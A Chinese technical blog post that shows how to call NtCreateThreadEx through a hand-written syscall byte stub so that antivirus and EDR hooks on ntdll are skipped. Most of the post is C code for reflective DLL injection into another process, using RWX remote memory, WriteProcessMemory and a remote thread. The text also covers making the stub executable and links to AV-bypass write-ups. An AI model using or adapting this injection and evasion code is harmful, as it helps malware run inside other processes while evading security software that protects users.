使用syscall来调用Nt函数

我们通过GetProcAddress函数去获取Nt函数,哪怕函数名hash化,还是很容易在动态调试时被发现调用了哪个函数,并且杀软都对ntdll库整体hook了。

决定自己手动实现一下通过syscall调用Nt函数。

Nt函数都是由ntdll.dll导出的,也就是说我们需要的汇编指令都在ntdll库中。这里要注意以下32位和64位库的差别,System32和SysWOW64中的ntdll是不同的,对应的函数代码也是不同的。

32位的库多了一个转发的步骤。

代码如下:

复制代码
char syscall_x32[] = {
 0xb8, 0xc1, 0x00, 0x00, 0x00, //第二个字节是系统调用号,也就是0x55的位置
 0xba, 0x70, 0x88, 0x66, 0x77, //mov edx, offset j_Wow64Transition
 0xff, 0xd2, //call edx ; j_Wow64Transition
 0xc2, 0x2c, 0x00, 0x90 //0x18的值最好还是参考一下ntdll
 };

typedef DWORD(WINAPI* fpNtCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpstartAddress,LPVOID lpParameter,ULONG CreateThreadFlags,SIZE_T ZeroBits,SIZE_T StackSize,SIZE_T MaximumStackSize,LPVOID pUnknow);

HANDLE LoadRemoteLibrary(HANDLE hProcess, PVOID lpBuffer, DWORD dwLength, LPVOID lpParameter) {
    HANDLE hThread = NULL;
    DWORD dwThreadId = 0;
    LPVOID lpRemoteLibraryBuffer = NULL;
    LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL;
    DWORD dwReflectiveLoaderOffset = 0;

    lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL);
    
    dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer);
    lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset);

    //CreateRemoteThread(hProcess, NULL, 1024 * 1024, lpReflectiveLoader, lpRemoteLibraryBuffer, (DWORD)NULL, &dwThreadId);

    syscall_x32[1] = 0xc1;
    fpNtCreateThreadEx NtCreateThreadEx = (fpNtCreateThreadEx)&syscall_x32;
    //fpNtCreateThreadEx NtCreateThreadEx = (fpNtCreateThreadEx)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwCreateThreadEx");

    MEMORY_BASIC_INFORMATION  mbi;
    DWORD dwOldProtect;
    VirtualQuery(syscall_x32, &mbi, sizeof(mbi));
    BOOL bRetn = VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);

    NtCreateThreadEx(&hThread, PROCESS_ALL_ACCESS, NULL, hProcess, lpReflectiveLoader, (LPVOID)lpRemoteLibraryBuffer, 0, 0, 1024 * 1024, 0, NULL);

    if (bRetn) {
        VirtualProtect(mbi.BaseAddress, mbi.RegionSize, dwOldProtect, 0);
    }

    return NULL;
}
复制代码

 

需要注意的是我们无论是将syscall数组定义在函数里还是全局遍历,都要考虑定义位置是否有执行的权限。通过VirtualProtect函数来添加执行权限。

或者将数组定义为全局变量,再将data段设为可执行。在代码中添加如下内容:

#pragma comment(linker, "/section:.data,RWE")

又或者我们可以将syscall数组的内容编写到一个asm文件,然后开启vs的masm功能加载它。

 

将"Text.txt"文件重命名为"NtCreateThreadEx.asm"。

 

 

 

 

 

 

 确保"NtCreateThreadEx.asm"的属性中项类型如下:

 

 因为目前vs只支持64位的编译,所以上面的32位指令是无法编译的。改成64位的即可。

 

 

参考:

https://www.ired.team/offensive-security/defense-evasion/using-syscalls-directly-from-visual-studio-to-bypass-avs-edrs

https://macchiato.ink/hst/bypassav/syscall_bypassav/

posted @   An2i  阅读(180)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具
点击右上角即可分享
微信分享提示